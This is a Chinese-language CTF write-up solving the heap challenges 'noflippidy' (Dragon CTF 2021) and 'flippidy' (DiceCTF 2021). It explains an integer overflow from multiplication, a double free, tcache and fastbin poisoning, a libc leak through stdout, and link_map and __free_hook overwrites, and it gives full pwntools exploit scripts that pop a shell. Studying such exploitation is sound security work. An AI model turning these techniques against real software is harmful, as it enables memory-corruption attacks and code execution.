有趣的整数溢出
noflippidy
amd64-64-little,Full RELRO,Canary found,NX enabled, No PIE (0x400000)
程序一开始 malloc 一个指定 size 的 notebook,然后可以选择两个功能:
add:malloc 0x30,写入 0x30 的数据。ptr 放在 notebook 指定 id 的位置。
flip:将 notebook 的数据翻转。
这也是dicectf 2021 的原题 flippidy(后面顺便也复现了这个题)。程序在原基础上打了 patch:
1 2 3 4 5 6 7 8 9 10 with open ("flippidy" , "rb" ) as f: x = bytearray (f.read()) patch_off = 0x138d patch = b'\x85\xc0\x74\x02\xc9\xc3' for i, v in enumerate (patch): x[patch_off + i] = v with open ("noflippidy" , "wb" ) as f: f.write(x)
对应的就是下面这个对 canary 不为 0 的 if 判断,导致 flip 函数无法使用。程序中找不到栈溢出的漏洞,所以这里应该是没办法绕过了。
输入的函数有整型溢出漏洞。有可能实现堆溢出。现在程序只有 add 功能能使用,也就是只能 malloc 和 edit。因此我们需要尽可能地利用堆溢出打 stdout 才能泄露 libc 地址。
但是这里跟常见的整型溢出漏洞不一样。
假设我们通过 int 转 unsigned int 时的溢出,控制 size 为一个很大的数,比如 -1 转成 0xffffff…., 再乘以 8 之后这个数还是太大,不能 malloc。仔细观察会发现 size 和 id 都是 int,加上原本对 size 的大小就没有限制,所以用负数溢出压根没有利用意义。
问题出在 malloc 的参数上,它必须在合法范围内。为了能越界写数据,我们希望 8*size 合法,小于 size 的 id 也要足够大,起码得大于 malloc 的大小。换个思路,利用做乘法运算时的溢出,由于 malloc 之前会执行 shl eax,3
,我们使乘以 8 后的数字的低 5 字节有值就行。想要往后修改 libc 的值的话,可使用 mmap 分配,这样分配出来的地址就紧挨着 libc了。如图,虽然分配的是 0x200000 的大小,但输入 id 后是跟 0x60040000 的size比较,相当于后面一大段空间任意写了。
由于这里是溢出写入一个堆地址,不能直接改 IO FILE 结构体。但是我们可以构造 fastbin 链,chunk写到 fastbin 0x40 的位置,在chunk的 next 指针上写 addr,就能实现一次任意地址申请。跟原题相似的思路。由于程序没开启 PIE、有 stdout 地址、menu 字符串的位置有可写权限,所以通过改 menu 为 stdout 地址来输出 _IO_2_1_stdout
地址,泄露 libc 。
还是只能写堆地址的问题,这里不能直接改 malloc_hook 或者 exit_hook。所以这里改 link_map,找到 l->l_info[DT_FINI]
的位置,改成 one_gadget,这样执行到 ret <_dl_fini+467>
的时候就返回到 one gadget 了。
参考博客:Dragon CTF 2021 - noflippidy
比赛的时候卡在整数溢出上了,没留意到乘法导致的溢出以及左移三位的操作,测试值一直用的是0x8000000这种低位全0的数据,执行的都是 malloc(0),分配了0x21的chunk。用 0x8000000的时候id 怎么输都不对,现在调了才发现运算的时候用的是有符号数,这个数是-0,怎么算都会有溢出。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(arch='amd64' ,log_level='debug' ) p=process("./noflippidy" ) elf=ELF('./noflippidy' ) libc=ELF('./libc.so.6' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sda = lambda x,y : p.sendafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): sla(': ' ,str (num)) def add (id ,con ): menu(1 ) sla('Index: ' ,str (id )) sla('Content: ' ,con) stdout_bss=0x404120 sla('will be: ' ,str (0x60040000 )) add((0x5ecc50 /8 ),p64(0 )+p64(0x41 )+p64(0x404000 )) add(1 ,'padding' ) add(2 ,'a' *0x10 +p64(stdout_bss)) libcbase=u64(ru('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3ec760 success(hex (libcbase)) libc.address=libcbase one_gadget=[0x4f3d5 ,0x4f432 ,0x10a41c ] og=libcbase+one_gadget[1 ] success(hex (og)) add((0x81d208 )/8 ,'a' *8 +p64(og)) menu(3 ) it()
flippidy
amd64-64-little,Full RELRO,Canary found,NX enabled,No PIE (0x400000)
用的是没有 tcache double free check 的 2.27 的 libc 版本:( noflippify 给的是有 check 的 1.4 的小版本)
1 2 3 4 5 6 7 8 9 10 $ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
除了 noflippidy 中的整数溢出漏洞外,flip 本身也有 double free 的漏洞。这个函数将 notebook 中的内容头尾倒置,以 size/2 为分界线区分前后的位置。因为整除是向下取整的,所以当 size 为奇数,i 为 size/2 时,这个程序算出来的前和后对称的位置有重合,也就是现在头和尾两个指针指向同一个chunk。这里分别对头尾 free 了一遍,我们可以构造 double free。
add 的时候往 notebook 里写chunk指针,flip 的时候 double free 的是 chunk。因此只要提前在 chunk 中布置好目标地址, free 的时候就会把目标地址写入 tcache 链中:
由于现在只有程序本身的地址可利用,有存储 stdout 地址的变量,menu 数组也是以指针的形式存储的,因此可以把 0x404020 这个位置改成 stdout 泄露 IO FILE 结构体的数据。
改完之后发现 tcache 头变成了 menu 里字符串的内容,原因是 next 的位置也存储了下一个字符串的指针,后面的地址空间存了字符串的ascii码。为了后续能申请到 free hook,在改 0x404020的位置的时候,也需要把 0x404040的位置改成目标地址。其次,由于输出menu的时候必定会遍历这里的指针,所以也需要把 0x404028后面的指针改合适。这里我改成了跟原来一样的值。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(arch='amd64' ,log_level='debug' ) p=process(argv=['./flippidy' ],env={"LD_PRELOAD" : './libc.so.6' }) elf=ELF('./flippidy' ) libc=ELF('./libc.so.6' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sda = lambda x,y : p.sendafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): sla(':' ,str (num)) def add (id ,con ): sla(':' ,'1' ) sla('Index: ' ,str (id )) sla('Content: ' ,con) def flip (): sla(':' ,'2' ) stdout_bss=0x404120 menu=0x404020 sla('will be: ' ,str (7 )) add(3 ,p64(menu)) flip() add(1 ,p64(stdout_bss)+ p64(0x404072 ) + p64(0x4040a4 ) + p64(0x4040d6 ) + p64(0x404050 )) libcbase=u64(ru('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3ec760 success(hex (libcbase)) one_gadget=[0x4f2c5 ,0x4f322 ,0x10a38c ] og=libcbase+one_gadget[1 ] freehook=libcbase+libc.sym['__free_hook' ] add(1 ,'a' *16 +p64(freehook)) add(1 ,'aaaa' ) add(2 ,p64(og)) flip() success(hex (og)) it()